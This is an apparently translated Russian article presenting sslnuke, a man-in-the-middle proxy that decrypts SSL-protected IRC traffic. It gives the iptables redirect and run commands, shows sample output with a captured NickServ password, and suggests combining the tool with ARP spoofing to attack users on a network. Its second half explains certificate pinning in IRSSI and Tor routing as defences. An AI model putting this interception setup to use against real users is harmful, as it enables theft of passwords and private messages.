
Прозрачный прокси, который расшифровывает SSL-трафик и выводит сообщения IRC.
Нам всем снова и снова твердили, что SSL без проверки небезопасен. Если SSL-соединение не проверяется с помощью кэшированного сертификата, любой злоумышленник может легко его захватить. Поэтому в 2013 году можно было бы подумать, что эта проблема полностью решена. Браузеры кэшируют сертификаты и очень громко предупреждают пользователя, если сайт предложил самоподписанный сертификат, которому не следует доверять, — производители браузеров практически решили эту проблему. Однако HTTPS — не единственный протокол, использующий SSL. К сожалению, многие клиенты этих других протоколов не выполняют проверку по умолчанию, и даже если бы они это делали, нет никакой гарантии безопасной передачи сертификата. В конце концов, сколько людей готовы платить $50 за SSL-сертификат для своего FTPS-сервера?
Распространённый протокол, использующий SSL, но редко проверяемый, — это IRC. Многие IRC-клиенты проверяют сертификат по умолчанию, но большинство пользователей отключают эту проверку, потому что администраторы IRC-серверов, как правило, не покупают легитимные SSL-сертификаты. Некоторые популярные клиенты даже оставляют проверку SSL отключённой по умолчанию (например, IRSSI). Мы уже знаем, что это неразумно: любой злоумышленник между пользователем и IRC-сервером может предложить недействительный сертификат и расшифровать весь трафик пользователя (включая, возможно, конфиденциальные сообщения). Большинство пользователей даже не задумываются об этом, подключаясь к SSL-«защищённому» IRC-серверу.
Назначение sslnuke — создать инструмент, предназначенный для расшифровки и перехвата «защищённого» IRC-трафика. Уже существует множество инструментов для перехвата SSL-трафика, но большинство из них ориентированы на HTTP-трафик. sslnuke нацелен непосредственно на IRC, чтобы продемонстрировать, как легко перехватывать «защищённые» сообщения. Использование sslnuke простое.
Сначала создайте учётную запись, от имени которой будет запускаться sslnuke, и добавьте правила iptables для перенаправления на него трафика:
# useradd -s /bin/bash -m sslnuke
# grep sslnuke /etc/passwd
sslnuke:x:1000:1000::/home/sslnuke:/bin/bash
# iptables -t nat -A OUTPUT -p tcp -m owner ! --uid-owner 1000 -m tcp \
--dport 6697 --tcp-flags FIN,SYN,RST,ACK SYN -j REDIRECT --to-ports 4444
Наконец, войдите как sslnuke, соберите и запустите sslnuke:
# su -l sslnuke
# cd sslnuke
# make
# ./sslnuke
Запустите IRC-клиент и войдите в свою любимую IRC-сеть через SSL. Сообщения IRC будут выводиться в stdout у sslnuke.
[*] Received connection from: 192.168.0.5:58007
[*] Opening connection to: 1.1.1.1:6697
[*] Connection Using SSL!
[*] irc.com -> AUTH (1.1.1.1): *** Looking up your hostname...
[*] irc.com -> AUTH (1.1.1.1): *** Found your hostname
[*] irc.com -> victim (1.1.1.1): *** You are connected to irc.vps-heaven.com with TLSv1.2-AES256-GCM-SHA384-256bits
[*] 192.168.0.5 -> nickserv (192.168.0.5): id hello
[*] [email protected] -> victim (1.1.1.1): Password accepted - you are now recognized.
sslnuke автоматически определит, использует ли клиент SSL, и решит, использовать ли SSL. Код также можно легко изменить для отображения паролей веб-сайтов или FTP-данных — всего, что использует SSL. Для атаки на пользователей в сети sslnuke можно использовать совместно с инструментом ARP-спуфинга, например с тем, что представлен в Blackhat Library, или развернуть его на шлюзе.
Видеодемонстрацию sslnuke можно посмотреть на ascii.io.
Теперь перейдём к важной части: как нам проверять SSL-соединения? Первый шаг — передать SSL-сертификат по альтернативному каналу; лучше всего, чтобы администратор лично вручил вам сертификат. Однако, если это невозможно, openssl может загрузить сертификат с сервера:
# openssl s_client -showcerts -connect irc.com:6697 </dev/null
Сохраните сертификат в ~/.irssi/ssl/irc.com.crt. Команду лучше выполнять с компьютера, находящегося в другой сети, чем ваша, чтобы предотвратить перехват. Затем, чтобы настроить IRSSI на использование сертификата, сохраните сеть:
/network add irc
/server add -ssl_cafile ~/.irssi/ssl/irc.com.crt -network irc -port 6697 irc.com
Если IRSSI когда-либо получит недействительный сертификат, он предупредит вас и немедленно отключится. Однако для самых параноидальных стоит использовать скрытый сервис Tor или VPN. Чтобы настроить автоматическое перенаправление на скрытый сервис Tor в Linux, можно выполнить следующие команды:
# echo "VirtualAddrNetwork 10.192.0.0/10" >> /etc/tor/torrc
# echo "AutomapHostsOnResolve 1" >> /etc/tor/torrc
# echo "TransPort 9040" >> /etc/tor/torrc
# echo "DNSPort 5353" >> /etc/tor/torrc
# killall -HUP tor
# iptables -t nat -A OUTPUT -p tcp -d 10.192.0.0/10 -j REDIRECT --to-ports 9040
# iptables -t nat -A OUTPUT -p udp --dport 53 -j REDIRECT --to-ports 5353
# ncat xxxxxxxxxxxxxxx.onion 6667
:irc.com NOTICE AUTH :*** Looking up your hostname...
:irc.com NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
^C
В конечном счёте IRC-клиенты должны использовать проверку ключей в стиле SSH. При первом подключении покажите пользователю отпечаток сертификата, заставьте пользователя подтвердить его, а затем кэшируйте сертификат. Если в следующий раз он изменится, не разрешайте соединение.
Исходный код можно скачать на Github.